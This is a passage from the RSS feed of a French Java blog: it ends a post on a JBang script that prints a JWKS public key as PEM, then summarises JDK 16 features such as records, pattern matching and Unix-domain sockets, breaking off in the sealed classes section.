&lt;span class=&quot;image&quot;&gt;&lt;img src=&quot;/resources/img/blog/2021/03/jbang-vscode.png&quot; alt=&quot;jbang vscode&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Je précise mon paramètre de ligne de commande :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;@Parameters(index = &quot;0&quot;, description = &quot;URL vers JSON Web Key Sets (JWKS)&quot;)
private String url;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;J&amp;#8217;écris le code pour récupérer le certificat et l&amp;#8217;afficher au format PEM&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;@Override
public Integer call() throws Exception {
    HttpsJwks jwks = new HttpsJwks(url);
    List&amp;lt;JsonWebKey&amp;gt; liste = jwks.getJsonWebKeys();
    for (JsonWebKey jsonWebKey : liste) {
        String cert = RsaKeyUtil.pemEncode(jsonWebKey.getPublicKey());
        System.out.println(cert);
    }
    return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;il me reste plus qu&amp;#8217;à l&amp;#8217;éxecuter&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;./GetKey https://MON.SITE/auth/realms/OMS-Intra/protocol/openid-connect/certs
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqlWybNYyj0hxoE8AcpGT
...
...
oU1MWOIhL/9ex7UB+6C3Uj2Mg3uoHQZB2PaeHHTb0fm957ufzWHGUyFd0q3UjUTQ
2N7mvALKLPsakuppHzRMeXHt7Zhu8kUfhPhQDUYc+l5bB1HhUqvZ9rjVTDRP7R+T
uQIDAQAB
-----END PUBLIC KEY-----&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Et voilà, le tour est joué. A votre tour !&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;références&quot;&gt;Références&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;http://openjdk.java.net/jeps/330&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 330: Launch Single-File Source-Code Programs&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.jbang.dev/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;(en) Site du projet JBang&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.jbang.dev/download&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;(en) Page téléchargement du projet JBang&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://gist.github.com/lilian-benoit/3c9696ed69d67ad0b1ccefbfe859e4e9&quot;&gt;Script complet&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>JDK 16 Nouveautés</title>
      <link>https://www.lilian-benoit.fr/2021/03/JDK16-Nouveautes.html</link>
      <pubDate>dim., 14 mars 2021 00:00:00 +0100</pubDate>
      <guid isPermaLink="false">2021/03/JDK16-Nouveautes.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div id=&quot;toc&quot; class=&quot;toc&quot;&gt;
&lt;div id=&quot;toctitle&quot; class=&quot;title&quot;&gt;Table of Contents&lt;/div&gt;
&lt;ul class=&quot;sectlevel1&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#contexte&quot;&gt;Contexte&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#nouvelles_fonctionnalités&quot;&gt;Nouvelles fonctionnalités&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#394_pattern_matching_for_instanceof&quot;&gt;394 - Pattern Matching for instanceof&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#395_records&quot;&gt;395 - Records&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#396_stringly_encapsulate_jdk_internals_by_defaut&quot;&gt;396 - Stringly Encapsulate JDK Internals by Defaut&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#388_unix_domain_socket_channels&quot;&gt;388 - Unix-Domain Socket Channels&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#390_warnings_for_value_based_classes&quot;&gt;390 - Warnings for Value-Based Classes&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#nouvelles_fonctionnalités_côté_portage&quot;&gt;Nouvelles fonctionnalités (Côté portage)&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#386_alpine_linux_port&quot;&gt;386 - Alpine Linux Port&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#388_windowsaarch64_port&quot;&gt;388 - Windows/AArch64 Port&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#fonctionnalités_en_mode_aperçu&quot;&gt;Fonctionnalités en mode Aperçu&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#397_sealed_classes_second_preview&quot;&gt;397 - Sealed Classes (Second Preview)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#fonctionnalités_en_mode_incubation&quot;&gt;Fonctionnalités en mode Incubation&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#333_vector_api_incubator&quot;&gt;333 - Vector API (Incubator)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#389_foreign_linker_api_incubator&quot;&gt;389 - Foreign Linker API (Incubator)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#393_foreign_memory_api_third_incubator&quot;&gt;393 - Foreign Memory API (Third Incubator)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#fonctionnalité_sour_le_capot&quot;&gt;Fonctionnalité sour le capot&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#347_enable_c14_language_features&quot;&gt;347 - Enable C++14 Language Features&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#376_zgcconcurrent_thread_stack_processing&quot;&gt;376 - ZGC:Concurrent Thread-Stack Processing&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#387_elastic_metaspace&quot;&gt;387 - Elastic Metaspace&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#outilllage&quot;&gt;Outilllage&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#357_migrate_from_mercurial_to_git&quot;&gt;357 - Migrate from Mercurial to Git&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#369_migrate_to_github&quot;&gt;369 - Migrate to Github&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#392_packaging_tool&quot;&gt;392 - Packaging Tool&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;contexte&quot;&gt;Contexte&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La version 16 du JDK va être disponible cette semaine. Nous avons eu l&amp;#8217;occasion de voir à travers différents billets un grand nombre de ces fonctionnalités. C&amp;#8217;est l&amp;#8217;occasion de faire une synthèse sur l&amp;#8217;ensemble des nouveautés.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La prochaine version sera la future version LTS (Long Term Support) avec la sortie du JDK 17 en septembre 2021&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;nouvelles_fonctionnalités&quot;&gt;Nouvelles fonctionnalités&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;394_pattern_matching_for_instanceof&quot;&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/394&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;394 - Pattern Matching for instanceof&lt;/a&gt;&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;objectif est de pouvoir écrire le code suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;if (obj instanceof String s) {
    // utilisation de s en tant que chaine de caractere
    ... s.contains(..);
} else {
    // pas possible d&apos;utiliser la variable s
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Dans le premier bloc (if), nous pouvons utiliser directement la variable &lt;em&gt;s&lt;/em&gt; comme une chaîne de caractère. D&amp;#8217;un autre côté, dans le second bloc (else), la variable &lt;em&gt;s&lt;/em&gt; n&amp;#8217;est pas connue.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Son utilisation est aussi possible dans l&amp;#8217;évaluation des conditions. Cela donne une écriture élégante :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;if (obj instanceof String s &amp;amp;&amp;amp; s.length() &amp;gt; 5) {.. s.contains(..) ..}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;Plus d&amp;#8217;informations sur le &lt;a href=&quot;/2020/11/JDK15-Nouveautes.html#375_pattern_matching_for_instanceof_second_preview&quot;&gt;chapitre Pattern Matching for instanceof&lt;/a&gt; du billet du JDK15.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;395_records&quot;&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/395&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;395 - Records&lt;/a&gt;&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Avec les enregistrements (&quot;records&quot;), nous pouvons écrire simplement :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;record Point(int x, int y) { }&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt; Vous voyez l&amp;#8217;introduction d&amp;#8217;un nouveau mot clé : &lt;code&gt;&lt;em&gt;record&lt;/em&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;De ce fait, nous avons automatiquement :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;un accesseur public pour chaque composant&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;un attribut final privé pour chaque composant&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;un constructeur contenant chaque composant&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;une méthode equals()&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;une méthode hashcode()&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;une méthode toString() pour visualiser les valeurs de chaque composant.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Des contrôles peuvent être faites lors de la construction:&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;record Range(int lo, int hi) {
    Range {
        if (lo &amp;gt; hi)  // référence implicite aux paramètres du constructeur
            throw new IllegalArgumentException(String.format(&quot;(%d,%d)&quot;, lo, hi));
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;Plus d&amp;#8217;informations sur le &lt;a href=&quot;/2020/11/JDK15-Nouveautes.html#384_records_second_preview&quot;&gt;chapitre Records&lt;/a&gt; du billet du JDK15.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;396_stringly_encapsulate_jdk_internals_by_defaut&quot;&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/396&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;396 - Stringly Encapsulate JDK Internals by Defaut&lt;/a&gt;&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Lors de la mise en place de la modularité du JDK pendant le JDK 9, il a été prévu de contrôler les accès aux API internes. L&amp;#8217;objectif est qu&amp;#8217;un programme Java ne puisse pas y avoir accès. De ce fait, le JDK devient plus facile à maintenir et à le faire évoluer. Bien que cela soit déconseillé par Sun à l&amp;#8217;époque, les pratiques ont fait que les programmes et notamment certaines librairies en avaient besoin.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En parallèle, un effort a été fait pour fournir des nouvelles API pour éviter l&amp;#8217;usage de ces API internes.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour contrôler l&amp;#8217;accès à cette API, il existe une option de la JVM depuis le JDK 9.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;--illegal-access=permit&lt;/code&gt; autorise les accès illégaux en affichant un avertissement lors du premier accès illégal du package.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;--illegal-access=warn&lt;/code&gt; identique à &lt;code&gt;permit&lt;/code&gt; mais l&amp;#8217;avertissement apparait à chaque appel.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;--illegal-access=debug&lt;/code&gt; identique à &lt;code&gt;warn&lt;/code&gt; mais l&amp;#8217;avertissement est accompagné d&amp;#8217;une pile d&amp;#8217;appel.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;--illegal-access=deny&lt;/code&gt; interdit tous les accès illégaux.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Du JDK 9 à 15, le mode par défaut est &lt;code&gt;permit&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La nouveauté est qu&amp;#8217;à partir du JDK 16, le mode par défaut est &lt;code&gt;deny&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;&lt;strong&gt;L&amp;#8217;option est toujours disponible.&lt;/strong&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;Donc, si besoin, nous pouvons autoriser l&amp;#8217;accès illégaux avec le mode &lt;code&gt;permit&lt;/code&gt;. &lt;strong&gt;Mais cela consiste à mieux reculer pour se prendre le mur.&lt;/strong&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;Plus d&amp;#8217;informations sur le &lt;a href=&quot;/2021/02/JEP396-Strongly-Encapsulate-JDK-Internals-by-Default.html&quot;&gt;sur le billet dédié.&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;388_unix_domain_socket_channels&quot;&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/380&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;388 - Unix-Domain Socket Channels&lt;/a&gt;&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;objectif est de pouvoir utiliser des sockets Unix. Pour cela, nous avons une nouvelle famille de protocole &lt;code&gt;StandardProtocolFamily.UNIX&lt;/code&gt; et nous avons une classe qui représente l&amp;#8217;adresse correspondante &lt;code&gt;UnixDomainSocketAddress&lt;/code&gt;. Nous la créons à partir d&amp;#8217;un simple fichier.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Côté serveur, nous avons le code suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;ServerSocketChannel ssc = ServerSocketChannel.open(StandardProtocolFamily.UNIX);
ssc.bind(UnixDomainSocketAddress.of(&quot;/tmp/mon-sock&quot;));
while ( true ) {
  SocketChannel sc = ssc.accept();
  // Utilisation du SocketChannel sc
  ...
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Coté client, nous avons le code suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;SocketChannel sc = SocketChannel.open(StandardProtocolFamily.UNIX);
sc.connect(UnixDomainSocketAddress.of(&quot;/tmp/mon-sock&quot;));
// Utilisation du SocketChannel sc
...&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;&lt;strong&gt;Seul, l&amp;#8217;API &lt;code&gt;ByteBuffer&lt;/code&gt; est disponible.&lt;/strong&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;Plus d&amp;#8217;informations sur le &lt;a href=&quot;/2021/01/JEP_380-Unix_Domain_Socket_Channels.html&quot;&gt;sur le billet dédié.&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;390_warnings_for_value_based_classes&quot;&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/390&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;390 - Warnings for Value-Based Classes&lt;/a&gt;&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;objectif est de préparer l&amp;#8217;introduction des &quot;Value based classes&quot; au sein du JDK.
Ces classes ont les propriétés suivantes :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;sont des classes finales et immutables,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;possèdent les méthodes : &lt;code&gt;equals()&lt;/code&gt;, &lt;code&gt;hascode()&lt;/code&gt; et &lt;code&gt;toString()&lt;/code&gt;,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;l&amp;#8217;égalité en utilisant la méthode &lt;code&gt;equals()&lt;/code&gt; et non l&amp;#8217;opération d&amp;#8217;égalité (&lt;code&gt;==&lt;/code&gt;),&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;n&amp;#8217;ont pas de constructeurs mais une méthode fabrique &quot;factory method&quot; qui n&amp;#8217;apporte aucun garantie sur l&amp;#8217;identité.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt; L&amp;#8217;objectif est de mieux gérer les &quot;inlines types&quot;, notamment avec les types primitifs. Cela devrait permettre d&amp;#8217;augmenter les performances.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Des candidats ont été identifiés. Nous avons par exemple :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;les classes &quot;wrapper&quot; des types primitives : &lt;code&gt;java.lang&lt;/code&gt; (&lt;code&gt;Byte&lt;/code&gt;, &lt;code&gt;Short&lt;/code&gt;, &lt;code&gt;Integer&lt;/code&gt;, &lt;code&gt;Long&lt;/code&gt;, &lt;code&gt;Float&lt;/code&gt;, &lt;code&gt;Double&lt;/code&gt;, &lt;code&gt;Boolean&lt;/code&gt; et &lt;code&gt;Character&lt;/code&gt;)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;les classes optionnelles : &lt;code&gt;java.util&lt;/code&gt; (&lt;code&gt;Optional&lt;/code&gt;, &lt;code&gt;OptionalInt&lt;/code&gt;, &lt;code&gt;OptionalLong&lt;/code&gt; et &lt;code&gt;OptionalDouble&lt;/code&gt;)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;certaines classes de l&amp;#8217;API &lt;code&gt;java.time&lt;/code&gt; (&lt;code&gt;Instant&lt;/code&gt;, &lt;code&gt;LocalDate&lt;/code&gt;, &lt;code&gt;LocalTime&lt;/code&gt;, &lt;code&gt;LocalDateTime&lt;/code&gt;, &lt;code&gt;ZonedDateTime&lt;/code&gt;, &lt;code&gt;ZoneId&lt;/code&gt;, &lt;code&gt;OffsetTime&lt;/code&gt;, &lt;code&gt;OffsetDateTime&lt;/code&gt;, &lt;code&gt;ZoneOffset&lt;/code&gt;, &lt;code&gt;Duration&lt;/code&gt;, &lt;code&gt;Period&lt;/code&gt;, &lt;code&gt;Year&lt;/code&gt;, &lt;code&gt;YearMonth&lt;/code&gt; et &lt;code&gt;MonthDay&lt;/code&gt;)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;Plus d&amp;#8217;informations sur le &lt;a href=&quot;/2021/02/JEP390-Warnings-for-Value-Based-Classes.html&quot;&gt;sur le billet dédié.&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;nouvelles_fonctionnalités_côté_portage&quot;&gt;Nouvelles fonctionnalités (Côté portage)&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;386_alpine_linux_port&quot;&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/386&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;386 - Alpine Linux Port&lt;/a&gt;&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cela consiste plus exactement à réaliser un JDK pour les systèmes utilisant &lt;strong&gt;muslc&lt;/strong&gt; comme librairie C.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;Plus d&amp;#8217;informations sur le &lt;a href=&quot;/2021/03/JEP386-Alpine-Linux-Port.html&quot;&gt;sur le billet dédié.&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;388_windowsaarch64_port&quot;&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/388&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;388 - Windows/AArch64 Port&lt;/a&gt;&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;AArch64 correspond aux processeurs basés sur l&amp;#8217;architecture ARM 64bits.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;Plus d&amp;#8217;informations sur le &lt;a href=&quot;/2021/02/AArch64-Decouvrir_le_projet_de_portage.html&quot;&gt;sur le billet dédié.&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;fonctionnalités_en_mode_aperçu&quot;&gt;Fonctionnalités en mode Aperçu&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;397_sealed_classes_second_preview&quot;&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/397&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;397 - Sealed Classes (Second Preview)&lt;/a&gt;&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Actuellement, pour le contrôle de l&amp;#8217;héritage, nous avons uniquement le mot clé &lt;code&gt;final&lt;/code&gt;. Les classes scellés est un moyen pour le développeur d’avoir plus de contrôle. Pour cela, nous avons deux nouveaux mot clés &lt;code&gt;sealed&lt;/code&gt; et &lt;code&gt;non-sealed&lt;/code&gt;.
Nous avons trois mot clés :&lt;/p&gt;
&lt;/div&gt;
